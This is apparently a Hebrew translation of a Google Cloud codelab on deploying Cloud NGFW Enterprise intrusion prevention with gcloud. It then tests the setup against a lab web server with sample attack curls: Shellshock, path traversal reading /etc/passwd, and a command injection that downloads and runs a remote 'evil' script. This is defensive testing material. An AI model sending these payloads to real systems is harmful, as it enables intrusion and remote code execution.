1. מבוא
Cloud Next Generation Firewall (NGFW)
Cloud Next Generation Firewall הוא שירות חומת אש מבוזרת לחלוטין עם יכולות הגנה מתקדמות, מיקרו-פילוח וכיסוי נרחב, שמטרתו להגן על עומסי העבודה שלכם ב-Google Cloud מפני מתקפות פנימיות וחיצוניות.
היתרונות של Cloud NGFW:
- שירות חומת אש מבוזרת: Cloud NGFW מספק אכיפה מבוססת-מארח ומבוזרת לחלוטין בכל עומס עבודה, כדי לאפשר ארכיטקטורת אבטחה של אפס אמון.
- הגדרה ופריסה פשוטות: Cloud NGFW מטמיע מדיניות חומת אש היררכית ורשתית שאפשר לצרף לצומת בהיררכיית המשאבים. המדיניות הזו מספקת חוויה עקבית של חומת אש בהיררכיית המשאבים של Google Cloud.
- שליטה גרנולרית ומיקרו-פילוח: השילוב של כללי מדיניות של חומת אש ותגים שמנוהלים על ידי ניהול זהויות והרשאות גישה (IAM) מספק שליטה מדויקת בתעבורה מצפון לדרום וממזרח למערב, עד לרמת המכונה הווירטואלית הבודדת, ברשתות של ענן וירטואלי פרטי (VPC) ובארגונים.
Cloud NGFW זמין ברמות הבאות:
- Cloud Next Generation Firewall Essentials
- Cloud Next Generation Firewall Standard
- Cloud Next Generation Firewall Enterprise
Cloud NGFW Enterprise
ב-Cloud NGFW Enterprise נוסף שירות למניעת פריצות (IPS), יכולת של שכבה 7, למארג חומות האש המבוזרות של Google Cloud. יש תמיכה בבדיקת TLS כדי לאפשר בדיקה של תעבורה מוצפנת ב-TLS, אבל זה לא נכלל בהיקף של ה-codelab הזה (אפשר לעיין ב-Cloud NGFW Enterprise Codelab with TLS Inspection).
עכשיו אפשר לפרוס בדיקות מהימנות של חומת אש מהדור הבא (NGFW) ברמה 7 עם אמצעי בקרה מפורטים, בלי לבצע שינויים בארכיטקטורת הרשת או בהגדרות הניתוב.
כדי להפעיל ולפרוס את אמצעי הבקרה של חומת אש בשכבה 7 עם IPS, צריך לבצע את המשימות הבאות:
- יוצרים קבוצה של נקודות קצה מנוהלות של חומת אש אזורית ב-Google Cloud.
- אופציונלי: יוצרים מדיניות לבדיקת TLS (לא מוסבר ב-codelab הזה)
- אפשר ליצור הגדרת אמון (לא מוסבר ב-codelab הזה)
- משייכים את נקודות הקצה האלה לרשתות של הענן הווירטואלי הפרטי (VPC) שבהן רוצים להשתמש בשירות Cloud NGFW Enterprise.
- אפשר לבצע שינויים פשוטים במדיניות הקיימת של חומת האש ובכללי חומת האש כדי לציין את פרופילי מניעת האיומים עבור נתיבי התנועה השונים.
מדיניות חומת אש בין רשתות
מדיניות חומת אש בין רשתות פועלת כקונטיינר לכללי חומת אש. כללים שמוגדרים במדיניות חומת אש בין רשתות לא נאכפים בשום מקום עד שהמדיניות משויכת לרשת VPC. לכל רשת VPC יכולה להיות משויכת מדיניות חומת אש אחת. מדיניות חומת אש ברשת תומכת בתגים שמנוהלים על ידי IAM (או פשוט בתגים) בכללי חומת האש, שמחליפים את תגי הרשת הנוכחיים ויכולים לשמש לזיהוי עומס העבודה.
שיתוף מדיניות חומת אש בין רשתות ברשתות ושילוב עם תגים שמנוהלים על ידי IAM מפשטים מאוד את ההגדרה והניהול של חומות אש.
עם ההשקה של מדיניות חומת אש בין רשתות, מדיניות חומת האש של Google Cloud כוללת עכשיו את הרכיבים הבאים:
- מדיניות חומת אש היררכית
- כללי חומת אש של VPC
- מדיניות חומת אש בין רשתות ( גלובלית ואזורית)
מדיניות חומת אש היררכית נתמכת בצמתים של ארגונים ותיקיות בהיררכיית המשאבים, בעוד שכללי חומת אש של VPC ומדיניות חומת אש בין רשתות חלים ברמת ה-VPC. ההבדל העיקרי בין כללי חומת אש של VPC לבין מדיניות חומת אש בין רשתות הוא שכללי חומת אש של VPC אפשר להחיל רק על רשת VPC אחת, בעוד שמדיניות חומת אש בין רשתות אפשר לצרף לרשת VPC אחת או לקבוצה של רשתות VPC, בין היתר כדי לבצע חבילת עדכונים.
בנוסף, יש לנו גם את כללי חומת האש המשתמעים שמגיעים עם כל רשת VPC:
- כלל יציאה שהפעולה שלו היא 'אישור' והיעד הוא 0.0.0.0/0
- כלל כניסה שהפעולה שלו היא דחייה, והמקור הוא 0.0.0.0/0
כברירת מחדל, רצף האכיפה מוצג בדיאגרמה הבאה:

חשוב לדעת: אפשר להחליף את סדר האכיפה בין כללי חומת האש ב-VPC לבין מדיניות חומת האש הגלובלית של הרשת. הלקוחות יכולים לציין את סדר האכיפה בכל שלב באמצעות פקודת gcloud.
תגים שמנוהלים על ידי IAM
התגים החדשים שמשולבים בכללים של מדיניות חומת האש ברשת הם משאבים של צמדי מפתח/ערך שמוגדרים ברמת הארגון או ברמת הפרויקט בהיררכיית המשאבים של Google Cloud. תג כזה מכיל בקרת גישה של IAM, כפי שהשם מרמז, שמציינת למי יש הרשאה לבצע פעולות בתג. לדוגמה, הרשאות IAM מאפשרות לציין אילו חשבונות משתמשים יכולים להקצות ערכים לתגים ואילו חשבונות משתמשים יכולים לצרף תגים למשאבים. אחרי שמחילים תג על משאב, כללי חומת אש בין רשתות יכולים להשתמש בו כדי לאשר או לדחות תנועה.
התגים פועלים לפי מודל ירושת המשאבים של Google Cloud, כלומר התגים והערכים שלהם מועברים בהיררכיה מההורים שלהם. כתוצאה מכך, יכול להיות שתגים ייווצרו במקום אחד ואז ישמשו תיקיות ופרויקטים אחרים בהיררכיית המשאבים. פרטים על תגים והגבלת גישה זמינים בדף הזה.
חשוב לא לבלבל בין תגים לבין תגים של רשתות. האחרונים הם מחרוזות שאפשר להוסיף למכונות של Compute Engine. הן משויכות למכונה ונעלמות כשהמכונה מוצאת משימוש. כללי חומת האש של VPC עשויים לכלול תגי רשת, אבל מכיוון שהם לא נחשבים למשאבי ענן, הם לא כפופים לבקרת גישה של IAM.
הערה: במסמך הזה אנחנו משתמשים לסירוגין במונחים Tags ו-IAM-governed Tags.
מה תפַתחו
Codelab זה דורש פרויקט יחיד ויכולת ליצור רשת VPC עם קישוריות ציבורית, וידגים כיצד Cloud NGFW Enterprise יכול לספק פונקציונליות של IPS באמצעות:
- בדיקת זרימות בתוך VPC או רשת משנה [מזרח-מערב]
- בדיקת זרימות נכנסות מהאינטרנט [צפון-דרום]
הזרימות שייבדקו ייבחרו באמצעות פרמטרים תואמים של Cloud Firewall, כולל 5-tuple (כתובת IP של המקור, כתובת IP של היעד, פרוטוקול, יציאת המקור, יציאת היעד) ותגים. בדיקת TLS לא נכללת ב-codelab הזה.

בסיס הכללים של מדיניות חומת אש בין רשתות ייראה בערך כמו הטבלה הבאה:
עדיפות | כיוון | Target | מקור | יעד | פעולה | סוג |
100 | תעבורת נתונים יוצאת (egress) | Quarantine_Tag | הכול | הכול | דחייה | Essentials |
1000 | תעבורת נתונים נכנסת (Ingress) | Server_Tag | טווחי בדיקת התקינות | הכול | אישור | Essentials |
2000 | תעבורת נתונים נכנסת (Ingress) | הכול | טווחים של שרת proxy לאימות זהויות (IAP) | הכול | אישור | Essentials |
3000 | תעבורת נתונים נכנסת (Ingress) | הכול | Geo, GCTI | הכול | דחייה | רגיל |
4000 | תעבורת נתונים יוצאת (egress) | הכול | הכול | Geo, GCTI | דחייה | רגיל |
5000 | תעבורת נתונים יוצאת (egress) | הכול | הכול | שמות דומיין מלאים (FQDN) של עדכוני מערכת | אישור | רגיל |
6000 | תעבורת נתונים נכנסת (Ingress) | Server_Tag | 10.0.0.0/24 | הכול | IPS | Enterprise |
7000 | תעבורת נתונים נכנסת (Ingress) | Server_Tag | CloudNAT_IP | הכול | IPS | Enterprise |
מה תלמדו
- איך יוצרים מדיניות חומת אש גלובלית ברשת
- איך יוצרים תגים ומשתמשים בהם עם מדיניות חומת אש ברשת
- איך מגדירים ומשתמשים ב-Intrusion Prevention Service (שירות למניעת חדירות) ב-Cloud NGFW Enterprise
מה תצטרכו
- פרויקט ב-Google Cloud
- ידע בפריסת מופעים ובהגדרת רכיבי רשת
- ידע בהגדרת חומות אש של VPC
2. לפני שמתחילים
יצירה או עדכון של משתנים
ב-Codelab הזה נעשה שימוש במשתנים כדי להקל על הטמעת הגדרות gcloud ב-Cloud Shell.
ב-Cloud Shell, מריצים את הפקודות הבאות ומחליפים את המידע שבתוך הסוגריים בהתאם לצורך (אם הפרויקט הרצוי כבר מוגדר, אפשר לדלג על הגדרת הפרויקט). משתמשים במשתנה אחר למשאבים ברמת הארגון אם נדרשים כמה נקודות קצה של חומת אש, למשל.
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zone=[zone] export prefix=cloudngfw export org_prefix=cloudngfw export billing_project_id=[project-id]
3. הפעלת ממשקי ה-API
מפעילים את ממשקי ה-API אם עדיין לא עשיתם את זה:
gcloud services enable compute.googleapis.com gcloud services enable networksecurity.googleapis.com gcloud services enable certificatemanager.googleapis.com gcloud services enable networkservices.googleapis.com gcloud services enable privateca.googleapis.com
4. יצירת פרופיל אבטחה ונקודת קצה ב-Cloud NGFW Enterprise
יצירת נקודת הקצה של Cloud NGFW Enterprise נמשכת כ-20 דקות, ולכן היא תיווצר קודם. אפשר לבצע את ההגדרה הבסיסית במקביל ליצירת נקודת הקצה.
יוצרים את פרופיל האבטחה ואת קבוצת פרופילי האבטחה:
gcloud network-security security-profiles threat-prevention \ create $org_prefix-sp-threat \ --organization $org_id \ --location=global gcloud network-security security-profile-groups create \ $org_prefix-spg \ --organization $org_id \ --location=global \ --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat
הפלט אמור להיראות כך:
Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done. Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com plete...done. Created security profile group [$org_prefix-spg].
מוודאים שהמשאבים נוצרו בהצלחה:
gcloud network-security security-profiles threat-prevention \ list --location=global --organization $org_id gcloud network-security security-profile-groups list \ --organization $org_id --location=global
הפלט אמור להיראות כך:
NAME: cloudngfw-sp-threat NAME: cloudngfw-spg
יוצרים את נקודת הקצה של Cloud NGFW Enterprise:
gcloud network-security firewall-endpoints create $org_prefix-$zone \ --zone=$zone --organization $org_id \ --billing-project $billing_project_id
מריצים את הפקודה הבאה כדי לוודא שנקודת הקצה נוצרת (STATE: CREATING).
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
הפלט הצפוי (שימו לב שפורמט הפלט עשוי להשתנות בהתאם ללקוח שבו נעשה שימוש):
ID: cloudngfw-[zone] LOCATION: [zone] STATE: CREATING
אפשר להריץ את הפקודה הבאה כדי לקבל פרטים נוספים:
gcloud network-security firewall-endpoints describe \ $org_prefix-$zone --organization $org_id --zone $zone
הפלט אמור להיראות כך:
createTime: '2023-04-25T18:08:45.493499362Z' name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] state: CREATING updateTime: '2023-04-25T18:08:45.493499362Z'
תהליך יצירת נקודת הקצה נמשך כ-20 דקות. עוברים לקטע 'הגדרת הבסיס' כדי ליצור את המשאבים הנדרשים במקביל.
5. הגדרה בסיסית
אם אתם מעדיפים ליצור את משאבי הבסיס באופן ידני, אתם יכולים להמשיך לקטעים הבאים.
רשת VPC ותת-רשת
רשת VPC ותת-רשת
יוצרים את רשת ה-VPC והתת-רשת:
gcloud compute networks create $prefix-vpc --subnet-mode=custom gcloud compute networks subnets create $prefix-$region-subnet \ --range=10.0.0.0/24 --network=$prefix-vpc --region=$region
Cloud NAT
יוצרים את Cloud Routers ואת שערי Cloud NAT:
gcloud compute addresses create $prefix-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)") gcloud compute routers create $prefix-cr \ --region=$region --network=$prefix-vpc gcloud compute routers nats create $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=$prefix-$region-cloudnatip
Instances
יוצרים את המכונות של הלקוח ושל שרת האינטרנט:
gcloud compute instances create $prefix-$zone-www \
--subnet=$prefix-$region-subnet --no-address --zone $zone \
--metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'
gcloud compute instances create $prefix-$zone-client \
--subnet=$prefix-$region-subnet --no-address --zone $zone \
--scopes=compute-ro \
--metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2-utils iperf3 tcpdump -y'
תגים ברמת הפרויקט
אם צריך, מקצים למשתמש את ההרשאות tagAdmin ו/או tagUser:
export user_id=$(gcloud auth list --format="value(account)") gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser
יוצרים את המפתח והערכים של התג ברמת הפרויקט:
gcloud resource-manager tags keys create $prefix-vpc-tags \ --parent projects/$project_id \ --purpose GCE_FIREWALL \ --purpose-data network=$project_id/$prefix-vpc gcloud resource-manager tags values create $prefix-vpc-client \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-server \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-quarantine \ --parent=$project_id/$prefix-vpc-tags
קישור תגים למופעים:
gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client
מדיניות חומת אש גלובלית
יוצרים מדיניות חומת אש גלובלית ברשת:
gcloud compute network-firewall-policies create \ $prefix-fwpolicy --description \ "Cloud NGFW Enterprise" --global
יוצרים כללים ב-Cloud Firewall Essential כדי לחסום תעבורת נתונים ממכונות שהוכנסו להסגר (נוצרו כדוגמה בלבד, לא נעשה בהם שימוש ב-codelab הזה) ולאפשר תעבורת נתונים מטווחי בדיקת תקינות ושרת proxy לאימות זהויות:
gcloud compute network-firewall-policies rules create 100 \
--description="block quarantined workloads" \
--action=deny \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=all \
--direction=EGRESS \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \
--dest-ip-ranges=0.0.0.0/0
gcloud compute network-firewall-policies rules create 1000 \
--description="allow http traffic from health-checks ranges" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:80,tcp:443 \
--direction=INGRESS \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22
gcloud compute network-firewall-policies rules create 2000 \
--description="allow ssh traffic from identity-aware-proxy ranges" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:22 \
--direction=INGRESS \
--src-ip-ranges=35.235.240.0/20
יוצרים כללים של Cloud Firewall Standard כדי לחסום תעבורת נתונים נכנסת ויוצאת ממדינות שהוטל עליהן אמברגו, מכתובות IP זדוניות ידועות ומצמתי יציאה של ToR, ולאפשר רק תעבורת נתונים יוצאת ל-FQDN ספציפיים לצורך עדכוני מערכת (הכללים האלה נוצרו כדוגמה בלבד, ולא נעשה בהם שימוש בסדנת הקוד הזו):
gcloud compute network-firewall-policies rules create 3000 \
--description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \
--action=deny \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=all \
--direction=INGRESS \
--src-region-codes CU,IR,KP,SY,XC,XD \
--src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips
gcloud compute network-firewall-policies rules create 4000 \
--description="block egress traffic to sanctioned countries, known malicious IPs and ToR exit nodes" \
--action=deny \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=all \
--direction=EGRESS \
--dest-region-codes CU,IR,KP,SY,XC,XD \
--dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips
gcloud compute network-firewall-policies rules create 5000 \
--description "allow system updates" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:80,tcp:443 \
--direction=EGRESS \
--dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com
יוצרים כללים ב-Cloud Firewall כדי לאפשר תעבורת נתונים נכנסת ממזרח למערב / בתוך תת-רשת ומצפון לדרום / מהאינטרנט מהטווחים הספציפיים (הכללים האלה יעודכנו כדי להפעיל את Cloud NGFW Enterprise):
gcloud compute network-firewall-policies rules create 6000 \
--description "allow ingress internal traffic from clients" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--direction=INGRESS \
--enable-logging \
--layer4-configs all \
--src-ip-ranges=10.0.0.0/24 \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server
gcloud compute network-firewall-policies rules create 7000 \
--description "allow ingress external traffic to server" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:80,tcp:443 \
--direction=INGRESS \
--enable-logging \
--src-ip-ranges=$cloudnatip \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server
משייכים את מדיניות חומת האש לרשת ה-VPC:
gcloud compute network-firewall-policies associations create \
--firewall-policy $prefix-fwpolicy \
--network $prefix-vpc \
--name $prefix-fwpolicy-association \
--global-firewall-policy
מאזן עומסי רשת חיצוני מסוג TCP/UDP
שומרים כתובת IP חיצונית ויוצרים את קבוצת המופעים ואת בדיקת התקינות:
gcloud compute addresses create $prefix-$region-nlbip --region=$region
gcloud compute instance-groups unmanaged create $prefix-ig \
--zone $zone
gcloud compute instance-groups unmanaged add-instances $prefix-ig \
--instances $prefix-$zone-www --zone $zone
gcloud compute health-checks create http $prefix-$region-hc-http80 \
--region $region --port 80
יצירת שירות קצה עורפי וכלל העברה:
gcloud compute backend-services create $prefix-nlb-bes \
--protocol TCP \
--health-checks $prefix-$region-hc-http80 \
--health-checks-region $region \
--region $region
gcloud compute backend-services add-backend $prefix-nlb-bes \
--instance-group $prefix-ig \
--instance-group-zone $zone \
--region $region
gcloud compute forwarding-rules create $prefix-nlb-ipv4 \
--load-balancing-scheme EXTERNAL \
--region $region \
--ports 80 \
--address $prefix-$region-nlbip \
--backend-service $prefix-nlb-bes
6. Cloud NGFW Enterprise Endpoint Association
אם צריך, מגדירים מחדש את משתני הסביבה.
מוודאים שיצירת נקודת הקצה של חומת האש ב-Cloud הושלמה בהצלחה. ממשיכים רק כשהסטטוס הוא ACTIVE (במהלך היצירה הסטטוס הצפוי הוא CREATING):
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
הפלט הצפוי (שימו לב שפורמט הפלט עשוי להשתנות בהתאם ללקוח שבו נעשה שימוש):
ID: cloudngfw-[zone] LOCATION: [zone] STATE: ACTIVE
אפשר להריץ את הפקודה הבאה כדי לקבל פרטים נוספים:
gcloud network-security firewall-endpoints describe \ $org_prefix-$zone --organization $org_id --zone $zone
הפלט אמור להיראות כך:
createTime: '2023-04-25T18:08:45.493499362Z' name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] state: ACTIVE updateTime: '2023-04-25T18:29:40.840608100Z'
משייכים את נקודת הקצה של Cloud NGFW Enterprise לרשת ה-VPC:
gcloud network-security firewall-endpoint-associations create \ $prefix-association --zone $zone \ --network=$prefix-vpc --endpoint $org_prefix-$zone \ --organization $org_id
תהליך השיוך נמשך כ-10 דקות. ממשיכים רק כשהסטטוס הוא ACTIVE (הסטטוס הצפוי במהלך תהליך היצירה הוא CREATING):
gcloud network-security firewall-endpoint-associations list
הפלט אמור להיראות כך:
ID: cloudngfw-association LOCATION: [zone] NETWORK: cloudngfw-vpc ENDPOINT: cloudngfw-[zone] STATE: ACTIVE
אפשר להריץ את הפקודה הבאה כדי לקבל פרטים נוספים:
gcloud network-security firewall-endpoint-associations \ describe $prefix-association --zone $zone
הפלט אמור להיראות כך:
createTime: '2023-05-01T22:25:06.218544436Z' firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association network: projects/[project-id]/global/networks/cloudngfw-vpc state: ACTIVE updateTime: '2023-05-01T22:33:06.467596536Z'
7. כללי בדיקה של Cloud NGFW Enterprise
פותחים כרטיסייה חדשה ומתחילים חיבור SSH למכונה הווירטואלית של הלקוח דרך IAP (תצטרכו להגדיר מחדש את המשתנים בכרטיסייה החדשה):
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
מגדירים את המשתנים הנדרשים בסשן ה-SSH ומגדירים את המשתנים (חשוב לוודא שהערכים נכונים):
export region=[region] export zone=[zone] export prefix=cloudngfw export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)") export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")
מריצים curl לשני כתובות ה-IP כדי לוודא שאפשר להגיע אליהן:
curl $target_privateip --max-time 2 curl $target_nlbip --max-time 2
התוצאה הצפויה לשתי בקשות ה-curl:
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
שליחת מתקפות לדוגמה לכתובת ה-IP של השרת הפנימי (תנועה מזרח-מערב / תנועה בתוך ה-VPC). שרת האינטרנט צריך להגיב לכל הבקשות, כדי לוודא שאין בדיקה או מניעה ברמה 7:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3
curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3
curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3
curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
שולחים מחדש את דגימות המתקפות לכתובת ה-IP של השרת החיצוני דרך Cloud NAT (תנועה נכנסת מצפון לדרום), ובאופן דומה, שרת האינטרנט צריך להגיב לכל הבקשות:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3
curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3
curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3
curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
תוצאות צפויות עבור כתובות IP ציבוריות ופרטיות:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address> </body></html> <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address> </body></html> Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone] <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address> </body></html>
חוזרים ל-Cloud Shell ומעדכנים את כללי ה-Ingress הקיימים כדי להפעיל בדיקה ברמה 7:
gcloud compute network-firewall-policies rules update 6000 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --enable-logging \ --global-firewall-policy \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg gcloud compute network-firewall-policies rules update 7000 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --enable-logging \ --global-firewall-policy \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg
אפשר גם לתאר את כללי חומת האש כדי לוודא ששניהם עודכנו בהצלחה:
gcloud compute network-firewall-policies rules describe 6000 \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy
הפלט אמור להיראות כך:
--- action: apply_security_profile_group description: allow ingress internal traffic from tagged clients direction: INGRESS disabled: false enableLogging: true kind: compute#firewallPolicyRule match: layer4Configs: - ipProtocol: all srcIpRanges: - 10.0.0.0/24 priority: 800 ruleTupleCount: 4 securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg targetSecureTags: - name: tagValues/281484362719839 state: EFFECTIVE
כלל 7000:
gcloud compute network-firewall-policies rules describe 7000 \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy
הפלט אמור להיראות כך:
---
action: apply_security_profile_group
description: allow ingress external traffic to server
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
layer4Configs:
- ipProtocol: tcp
ports:
- '80'
- ipProtocol: tcp
ports:
- '443'
srcIpRanges:
- [cloudnat-ip]
priority: 900
ruleTupleCount: 6
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
state: EFFECTIVE
חוזרים למכונת ה-VM של הלקוח ושולחים מחדש את ההתקפות לדוגמה לכתובת ה-IP של השרת הפנימי (בדיקה של תנועה מזרח-מערב / בתוך VPC):
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3
curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3
curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3
curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
שולחים מחדש את ההתקפות לדוגמה לכתובת ה-IP של השרת החיצוני דרך Cloud NAT (בדיקה נכנסת מצפון לדרום):
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3
curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3
curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3
curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
לא מתקבלות תגובות להתקפות הראשונות, בהתאם לפלט הצפוי שמוצג בהמשך, מה שמאשר שההתקפות ברמת חומרה גבוהה נחסמות עכשיו.
curl: (56) Recv failure: Connection reset by peer curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address> </body></html>
כדי לאמת את היומנים, עוברים אל Network Security (אבטחת רשת) > Threats (איומים) במסוף Cloud (ייתכן שיהיה צורך לרענן כמה פעמים אם ההתקפות עדיין לא מוצגות).

בוחרים באחת מהמתקפות ולוחצים על 'הצגת יומן ביקורת' בצד שמאל (אפשר לפתוח בכרטיסייה חדשה כדי לחזור בקלות). מרחיבים את ההתקפה כדי לראות את הפרטים:

אופציונלי: מחליפים את המסנן של כלי החיפוש ביומן בשאילתה הבאה:
resource.type="networksecurity.googleapis.com/FirewallEndpoint"
רשומות ביומן האיומים אמורות להופיע כמו בדוגמה הבאה:

אפשר לאמת מנות שחומת האש של Cloud חסמה באמצעות המסנן הבא ב-Log Explorer (מועיל לפתרון בעיות):
jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"

אפשר להמשיך לבדיקת תנועת האינטרנט (אופציונלי) או לסגור את סשן ה-SSH ולעבור לפרק הבא כדי לבצע את שלבי הניקוי.
[אופציונלי] בדיקת תנועה באינטרנט
כפי שראינו בקטע הקודם, הזרימות שנבדקו עד עכשיו הן בתוך רשת המשנה או ה-VPC (מזרח-מערב) ותעבורה נכנסת מהאינטרנט (צפון-דרום נכנסת). אפשר גם להגדיר את Cloud NGFW Enterprise לבדיקת כל התעבורה באינטרנט (תעבורה יוצאת מצפון לדרום) על ידי יצירת כלל יציאה חדש באמצעות Cloud Shell:
